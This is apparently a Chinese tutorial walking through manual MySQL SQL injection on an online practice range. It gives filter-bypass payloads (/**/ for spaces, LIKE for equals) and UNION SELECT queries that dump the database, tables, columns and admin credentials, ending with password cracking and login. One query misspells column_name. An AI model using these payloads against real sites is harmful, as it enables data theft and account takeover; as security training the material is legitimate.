MySQL手工注入進階篇——突破過濾危險字元問題
當我們在進行手工注入時,有時候會發現咱們構造的危險字元被過濾了,接下來,我就教大家如何解決這個問題。下面是我的實戰過程。這裡使用的是墨者學院的線上靶場。咱們直接開始。
第一步,判斷注入點。
通過測試發現,這裡過濾了空格和等於號。所以咱們用/**/代替空格,用like代替=,最後將構造的語句進行url編碼,使用的是小葵轉化工具。
所以咱們構造如下語句。
/**/and/**/1/**/like/**/1
結果如下圖,頁面正常顯示。
接著咱們再構造如下語句。
/**/and/**/1/**/like/**/2
發現頁面報錯,說明存在注入點,且為數字型。如下圖
第二步,判斷欄位數。
通過 order by語句,咱們構造如下語句
/**/order/**/by/**/4
頁面正常顯示,如下圖。
接下來,咱們輸入如下語句。
/**/order/**/by/**/5
發現頁面報錯,說明資料庫裡有四個欄位,如下圖。
第三步,判斷回顯位置。
通過聯合查詢,構造如下語句。這裡有一點要注意:使用聯合查詢時,要使得前面不可查詢,所以我將id=1改成了id=-1。
/**/union/**/select/**/1,2,3,4/**/#
結果如下圖,我們發現,2,3,兩個位置回顯到頁面上了。
第四步,爆庫
通過上一步,咱們清楚了回顯位置,接下來繼續使用聯合查詢,構造如下語句。
/**/union/**/select/**/1,database(),3,4/**/#
結果去下圖。咱們爆出了資料庫名。
第五步,爆表。
由於爆表構造得語句有點長,編碼成url格式會更長。所以這裡換成了burpsuite進行url編碼。構造語句如下。
/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/庫名(將庫名轉換成十六進位制)
結果去下圖,咱們爆出了兩個表。
第六步,爆欄位。
接下來咱們構造如下語句。
/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(轉換成十六進位制)
然後咱們發現了name,password,兩個欄位,如下圖。
第七步,爆賬號密碼。
這裡咱們還用到了group_concat()函式,可以查詢出所有賬號和密碼。構造如下語句。
/**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名
結果如下圖,查詢出了管理員賬號,密碼。
第八步,解密密碼,登陸
我們發現查詢出來得密碼是加密得,然後通過線上解密得到密碼,如下圖。注入結束。
MySQL手工注入進階篇實戰總結
判斷注入點,通過測試發現,過濾了空格,等於號,所以用/**/代替空格,用like代替等於號,構造的語句在進行url編碼。
第一步,判斷注入型別。構造語句 /**/and/**/1/**/like/**/1和 /**/and/**/1/**/like/**/2 發現報錯。所以判斷為數字型。
第二步,判斷欄位數,構造語句 /**/order/**/by/**/4和/**/order/**/by/**/5 發現4正常,5報錯,說明有四個欄位數。
第三步,爆庫。構造語句 /**/union/**/select/**/1,database(),3,4/**/#
第四步,爆表。構造語句/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/庫名(將庫名轉換成十六進位制)
第五步,爆欄位。構造語句 構造語句/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(轉換成十六進位制)
第六步,獲取賬戶,密碼。構造語句 /**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名
第七步,解密,登陸。